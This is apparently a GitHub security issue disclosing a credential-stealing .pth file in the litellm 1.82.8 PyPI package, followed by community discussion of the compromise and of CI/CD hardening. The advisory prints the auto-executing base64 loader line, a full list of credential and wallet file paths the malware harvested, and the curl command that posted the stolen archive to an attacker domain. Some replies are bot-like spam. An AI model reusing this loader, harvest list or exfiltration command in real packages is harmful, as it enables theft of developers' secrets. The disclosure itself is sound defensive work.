[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer

[LITELLM TEAM] - For updates from the team, please see: #24518

[Security]: CRITICAL: Malicious `litellm_init.pth` in litellm 1.82.8 PyPI package — credential stealer

Summary

The litellm==1.82.8 wheel package on PyPI contains a malicious .pth file (litellm_init.pth, 34,628 bytes) that automatically executes a credential-stealing script every time the Python interpreter starts — no import litellm required.

This is a supply chain compromise. The malicious file is listed in the package's own RECORD:

litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628

Reproduction

pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])
"

You will see litellm_init.pth containing:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

Malicious Behavior (full analysis)

The payload is double base64-encoded. When decoded, it performs the following:

Stage 1: Information Collection

The script collects sensitive data from the host system:

System info: hostname, whoami, uname -a, ip addr, ip route
Environment variables: printenv (captures all API keys, secrets, tokens)
SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config
Git credentials: ~/.gitconfig, ~/.git-credentials
AWS credentials: ~/.aws/credentials, ~/.aws/config, IMDS token + security credentials
Kubernetes secrets: ~/.kube/config, /etc/kubernetes/admin.conf, /etc/kubernetes/kubelet.conf, /etc/kubernetes/controller-manager.conf, /etc/kubernetes/scheduler.conf, service account tokens
GCP credentials: ~/.config/gcloud/application_default_credentials.json
Azure credentials: ~/.azure/
Docker configs: ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json
Package manager configs: ~/.npmrc, ~/.vault-token, ~/.netrc, ~/.lftprc, ~/.msmtprc, ~/.my.cnf, ~/.pgpass, ~/.mongorc.js
Shell history: ~/.bash_history, ~/.zsh_history, ~/.sh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history
Crypto wallets: ~/.bitcoin/, ~/.litecoin/, ~/.dogecoin/, ~/.zcash/, ~/.dashcore/, ~/.ripple/, ~/.bitmonero/, ~/.ethereum/keystore/, ~/.cardano/, ~/.config/solana/
SSL/TLS private keys: /etc/ssl/private/, Let's Encrypt .pem and .key files
CI/CD secrets: terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg
Database credentials: PostgreSQL, MySQL, Redis, LDAP config files
Webhook URLs: grep for Slack/Discord webhook URLs in env and config files

Stage 2: Encryption & Exfiltration

Collected data is written to a temporary file
A random 32-byte AES-256 session key is generated via openssl rand
The collected data is encrypted with openssl enc -aes-256-cbc -pbkdf2
The AES session key is encrypted with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep
Both encrypted files are packed into tpcp.tar.gz
The archive is exfiltrated via:

curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

Key Technical Details

Trigger mechanism: .pth files in site-packages/ are executed automatically by the Python interpreter on startup (see Python docs on .pth files). No import statement is needed.
Stealth: The payload is double base64-encoded, making it invisible to naive source code grep.
Exfiltration target: https://models.litellm.cloud/ — note the domain litellm.cloud (NOT litellm.ai, the official domain).
RSA public key (first 64 chars): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...

Impact

Anyone who installed litellm==1.82.8 via pip has had all environment variables, SSH keys, cloud credentials, and other secrets collected and sent to an attacker-controlled server.

This affects:

Local development machines
CI/CD pipelines
Docker containers
Production servers

Affected Version

Confirmed: litellm==1.82.8 (PyPI wheel litellm-1.82.8-py3-none-any.whl)
Other versions: Not yet checked — the attacker may have compromised multiple releases

Recommended Actions

PyPI: Yank/remove litellm 1.82.8 immediately
Users: Check for litellm_init.pth in your site-packages/ directory
Users: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed
BerriAI: Audit PyPI publishing credentials and CI/CD pipeline for compromise

Environment

OS: Ubuntu 24.04 (Docker container)
Python: 3.13
pip installed from PyPI
Discovered: 2026-03-24

Yep, we have been pwned by this. @krrishdholakia this is very, very bad, thousands of people are likely getting pwned right now.

Update (2026-03-24 23:47 UTC): My awesome colleague Callum McMahon, who discovered this, wrote an explainer and postmortem going into greater detail: https://futuresearch.ai/blog/no-prompt-injection-required

Version 1.82.7 is also compromised. It doesn't have the pth file, but the payload is still in proxy/proxy_server.py.

Thanks, that helped!

This was the answer I was looking for.

Thanks for the tip!

Great explanation, thanks for sharing.

This was the answer I was looking for.

Thanks for the tip!

Great explanation, thanks for sharing.

Thanks, that helped!

Worked like a charm, much appreciated.

Appreciate the help, this fixed it for me.

This was the answer I was looking for.

@VX1D

@VX1D I didn't know that telnyx has also been compromised by teampcp.

Had to search and I am not seeing any official telnyx response and it took me some time to figure out but this is the github issue talking about telnyx getting compromised team-telnyx/telnyx-python#235

@SerJaimeLannister

@SerJaimeLannister https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterworm

https://github.com/geomys/sandboxed-step

@mihaimaruseac / (Security researcher experts like @DanielRuf ) Do you assume that something like this might be of help as well. either within the litellm exploit or trivy exploit given that this project basically runs containers in gvisor sandbox?

Would this be relevant to add in the litellm/(maybe trivy?) CI/CD for better security purposes as well?

I think it might help. There's also nono, more recent, build specifically for agents. They even have a case study for this scenario in particular: https://nono.sh/blog/nono-litellm

Can I come back to you regarding the newly created security working group and would you be able to lend us a hand as point of contact to OpenSSF and consult a bit around this topic?

I'd love to <3 Happy to chat here, on Linkedin, Bluesky/X, or wherever else is easy (my blog listed on my page has a list of all profiles, I don't want to spam the links here)

Signing packages seems like the next logical step after the Telnyx incident today.

Yes, trusted publishing is the best approach if the package manager suports it (PyPI does). Signing is the next second best.

@miketheman

@miketheman I think you are probably pretty busy and deeply involved with triaging and handling the advisory process.

So not sure how much time and general resources you have left.
Because a direct line to someone from the security team of PyPi would not be bad and maybe you want and can collect some feedback for improvement suggestions surrounding PyPi.

Would there still be some room to join the Security WG at https://github.com/BerriAI/litellm-security-wg or is that not an option (and if so, are you open to privately provide some contact details that are only used internally for the planned security disclosure process)?

Let me know what you think and how the process can be improved by opening the right channels or having the right people on board. Thank you very much.

@miketheman I think you are probably pretty busy and deeply involved with triaging and handling the advisory process.

Yes, that's true, and that is also true.

So not sure how much time and general resources you have left.

Not many.

Because a direct line to someone from the security team of PyPi

The "security team of PyPI" == me.

would not be bad and maybe you want and can collect some feedback for improvement suggestions surrounding PyPi.

https://pypi.org/help/#contributing is the place to start.

Would there still be some room to join the Security WG at BerriAI/litellm-security-wg or is that not an option (and if so, are you open to privately provide some contact details that are only used internally for the planned security disclosure process)?

Let me know what you think and how the process can be improved by opening the right channels or having the right people on board. Thank you very much.

There's many open forums, opportunities to engage with the open source package community, and folks need to read the FAQs of the services they use, learn about how they operate and evolve, and most importantly - get involved.

I agree; the first supply chain attack happened 7 days ago and was widely discussed, so there was a lot of time for organizations to rotate credentials and take precautions - but it seems that a lot of people have ignored it. Telnyx was pwned due to stolen credentials as far as I know (if I'm wrong there, then please correct me). If let's say they got compromised in the most recent LiteLLM attack - they had three days to invalidate the credentials or take preventive action. Incidents like those PCP attacks seem to be less about flaws in the architecture itself and mostly about maintainers. In that sense, TeamPCP is sending a pretty clear message and I guess that will be a turning point in a whole community, or at least it should be. More people should get involved, even at the OSS level.

Hi everyone, sharing updates from today's townhall: https://docs.litellm.ai/blog/security-townhall-updates

In terms of roadmap, we plan on following 4 guiding principles for our new CI/CD pipeline:

Limit what each package can access
Reduce the number of sensitive environment variables
Avoid compromised packages
Prevent release tampering

roadmap details: https://docs.litellm.ai/blog/security-townhall-updates#roadmap

We've already begun making changes to ci/cd (pypi trusted publisher, cosigning releases, etc.), and will share more updates as we make them.

If you have any feedback/advice for improving security of releases, please let me know.

@krrish-berri-2

I agree; the first supply chain attack happened 7 days ago and was widely discussed, so there was a lot of time for organizations to rotate credentials and take precautions - but it seems that a lot of people have ignored it. Telnyx was pwned due to stolen credentials as far as I know (if I'm wrong there, then please correct me). If let's say they got compromised in the most recent LiteLLM attack - they had three days to invalidate the credentials or take preventive action. Incidents like those PCP attacks seem to be less about flaws in the architecture itself and mostly about maintainers. In that sense, TeamPCP is sending a pretty clear message and I guess that will be a turning point in a whole community, or at least it should be. More people should get involved, even at the OSS level.

This is the problem, supply chain attacks happen and they don't affect packages you personally use, so you just go "oh it's fine, we're fine" or if you're a little more paranoid "we got lucky, we'll do something about it next time" and then (usually) nothing is done about it (and many people are totally fine, but you won't always be).

In general when these attacks happen it's a good idea to be extremely cautious over the next few weeks, they happen in clusters and right now they've basically been smash and grab, but each attack gets more victims, which gets more keys, which spreads more.

I've been following the security updates @krrish-berri-2 and you're doing everything right and your response is genuinely admirable, zizmor is a fantastic tool that should help a lot, but unfortunately github actions is just... really not very secure ~~by default~~ and requires significant work and understanding of the problem space to defend against these kinds of attacks (in particular cache poisoning, which is EXTREMELY scary honestly and Github need to do something about it... and they could.).

And it's only going to get worse as (somewhat ironically, given the project) AI democratises the kind of deep domain expertise attackers used to need (the payloads in both cases look very obviously AI generated, and while they're not complex or fancy I think it is notable)

I think there's a lot to learn here though, and I think we're seeing some things happen for the first time, like I've never seen compromised accounts being used to try and hide the issue through spam/downvotes, I'm sure it won't be the last and defenders should definitely be taking notes from all this.

The biggest takeaway I have from all of this is litellm and other projects in the same space are serious targets, it's used in many places and as AI gets more and more important you're only going to become more of a target, I think in a "funny" way everyone got off fairly lightly here, this could have been MUCH worse (it was caught within a few hours, thanks to @hnykda and his colleague for such a fast response), but I say this every supply chain attack...

Either way zimzor and the people behind it are great! And the picks for the security working group (from the little I've seen) look good too, seeing a lot of smart motivated people and I wish you all the best of luck, you really do seem to be approaching it right though, not seen a response like this from an open source project yet.

@agnosticlines

@agnosticlines good point re: github actions. One of the community recs was to move to a private github for managing releases. We're currently investigating that, amongst other approaches. Hope to share more soon.

Forgive me its 4am and I'm typing this on my phone and replying through email so I have no idea if the links will work, you may have to remove some of the characters if () gets embedded into the url. That mitigates some of the attacks (the ones that zizmor will probably flag if you're vulnerable to) but the whole problem is that by design during the build process you're executing 3rd party code, the actions themselves, your build tooling, your deps. It's similar to if you were building it locally but with a few key distinctions... First is the big one, untrusted input to your workflows: pull_request_target is probably the most well known vector for this ( https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/), it runs your workflow in the context of the main branch, and if it checks out or runs code from the PR (which many do: https://orca.security/resources/blog/pull-request-nightmare-github-actions-rce/) it can read your secrets and publish on your behalf ( https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection) or poison your cache so next time you release you've published an infected build. Adnan Khans blog ( https://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning) talks about the core concept of cache poisoning and while some of the techniques are no longer exploitable, there are tools like https://github.com/adnaneKhan/cacheract which use techniques that still work Second is persistence, even if you don't use the dangerous/risky actions, if a dep in your pipeline does get backdoored (and you use caching, which most projects do) it persists in future runs, even after the dep is yanked. For this reason you should know how to clear the cache in the event of a compromise (gh cache delete or through the UI) Third is visibility, on endpoints you have some visibility into what's going on but there's significantly less attention on runners and ephemeral build environments. Fourth is just the speed at which it happens, CI/CD and actions in particular allow you to get builds into the hands of users very fast, this is both a good and a bad thing because by the time youve realised something was wrong with your build, its already in package registries. These are all things you can work around, avoid certain features, etc, but you need someone who knows so much about Actions to make sure you're not doing something wrong, the defaults got slightly better when they made the default GITHUB_TOKEN read only ( https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/), reduced the token lifetime from 6 hours to 90 minutes (I haven't verified this, but https://github.com/AdnaneKhan/ActionsCacheBlasting mentions it, although https://adnanthekhan.com/posts/angular-compromise-through-dev-infra/ does mention the JWT is still valid for 6 hours... So I'm not 100% sure) and blocked cache writes after the job completes (same repo) but none of this helps you if a trojaned dep gets into your build process. Github Actions is a bit of a rabbithole and I've been watching it from the side lines for a while now (I'm far from an expert), apologies if you knew everything here but I figured I'd provide as many resources as I can that might help you (and others here) get started on understanding the issues. I did get a notification about a new post on the blog about this though, from a day or so ago that shows that they might be starting to see the problems and offer some real solutions, so that's some good news: https://github.blog/news-insights/product-news/whats-coming-to-our-github-actions-2026-security-roadmap/ so seems like dependency locking, network egress protection for runners and execution telemetry might be a reality soon, which should help a lot, I would argue these should have been done a lot sooner though

…

On Sat, 28 Mar 2026, 01:14 Krrish Dholakia, ***@***.***> wrote: *krrish-berri-2* left a comment (BerriAI/litellm#24512) <#24512 (comment)> @agnosticlines <https://github.com/agnosticlines> good point re: github actions. One of the community recs was to move to a private github for managing releases. We're currently investigating that, amongst other approaches. Hope to share more soon. — Reply to this email directly, view it on GitHub <#24512?email_source=notifications&email_token=AFSA43KEJQGIMQ6ZROOJV7L4S4RQDA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTIMJUGYZDOOBZGQY2M4TFMFZW63VHNVSW45DJN5XKKZLWMVXHJLDGN5XXIZLSL5RWY2LDNM#issuecomment-4146278941>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AFSA43P3PI7G7LWFEKGI4AD4S4RQDAVCNFSM6AAAAACW5LD2PSVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHM2DCNBWGI3TQOJUGE> . You are receiving this because you were mentioned.Message ID: ***@***.***>

I did get a notification about a new post on the blog about this though,
from a day or so ago that shows that they might be starting to see the
problems and offer some real solutions, so that's some good news:
https://github.blog/news-insights/product-news/whats-coming-to-our-github-actions-2026-security-roadmap/
so seems like dependency locking, network egress protection for runners and
execution telemetry might be a reality soon, which should help a lot, I
would argue these should have been done a lot sooner though

Interesting, thanks for the link which went a bit unnoticed for me. I wholeheartedly agree with the last sentence. That's all I want to add to your thoughts that match my opinions.

Thank you guys for the visibility and working in this!

Should the pre-built containers typically be okay to use? Perusing their Dockerfiles it seems they should be okay?

@DanielRuf

@DanielRuf @SerJaimeLannister @mihaimaruseac — following up on my earlier comment (March 25).

My GitHub account (DmitriyG228) and organization (Vexa-ai) remain flagged — returning 404 to all other users. I've opened reinstatement ticket #4199834 with GitHub Trust & Safety, but it's been 5 days without action.

Since you three have been directly involved in documenting the compromised accounts and appear to be in contact with GitHub staff: would any of you be willing to add a comment to my support ticket, or write to trust@github.com on my behalf confirming that DmitriyG228 was a victim of the TeamPCP botnet and not a malicious actor? The ticket is open under the account DmitriyG228.

The two comments posted from my account ("Exactly what I needed, thanks." / "Thanks for the tip!") are textbook examples of the bot pattern documented in Rami McCarthy's analysis. I operate a legitimate open-source project (Vexa-ai/vexa, 1,833 stars) and the false positive is causing real harm — contributors and users can't reach any of our repositories.

Does anyone knows if 1.81 is compromissed?

@felipeavilis

@felipeavilis see the linked post in the initial comment: #24518

Only 1.82.7 and 1.82.8 were compromised, but not earlier versions.

Navigation Menu

Repository navigation

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer #24512

[LITELLM TEAM] - For updates from the team, please see: #24518

[Security]: CRITICAL: Malicious `litellm_init.pth` in litellm 1.82.8 PyPI package — credential stealer

Summary

Reproduction

Malicious Behavior (full analysis)

Stage 1: Information Collection

Stage 2: Encryption & Exfiltration

Key Technical Details

Impact

Affected Version

Recommended Actions

Environment

519 remaining items

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer #24512

Description

[LITELLM TEAM] - For updates from the team, please see: #24518

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 PyPI package — credential stealer

Summary

Reproduction

Malicious Behavior (full analysis)

Stage 1: Information Collection

Stage 2: Encryption & Exfiltration

Key Technical Details

Impact

Affected Version

Recommended Actions

Environment

Activity

hnykda commented on Mar 24, 2026

treo commented on Mar 24, 2026

praiitt commented on Mar 24, 2026

praiitt commented on Mar 24, 2026

Christopher933 commented on Mar 24, 2026

mahesh-sini commented on Mar 24, 2026

bercanozcan commented on Mar 24, 2026

18pixels commented on Mar 24, 2026

Balerionth commented on Mar 24, 2026

bwanakweli4ever commented on Mar 24, 2026

piyushwebexpert commented on Mar 24, 2026

ascorptech commented on Mar 24, 2026

shivampip commented on Mar 24, 2026

praiitt commented on Mar 24, 2026

519 remaining items

SerJaimeLannister commented on Mar 27, 2026

VX1D commented on Mar 27, 2026

mihaimaruseac commented on Mar 27, 2026

DanielRuf commented on Mar 27, 2026

miketheman commented on Mar 27, 2026

VX1D commented on Mar 27, 2026

krrish-berri-2 commented on Mar 27, 2026

agnosticlines commented on Mar 28, 2026

krrish-berri-2 commented on Mar 28, 2026

agnosticlines commented on Mar 28, 2026

DanielRuf commented on Mar 28, 2026

icsy7867 commented on Mar 28, 2026

DmitriyG228 commented on Mar 30, 2026

felipeavilis commented on Apr 13, 2026

DanielRuf commented on Apr 13, 2026

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions

[Security]: CRITICAL: Malicious `litellm_init.pth` in litellm 1.82.8 PyPI package — credential stealer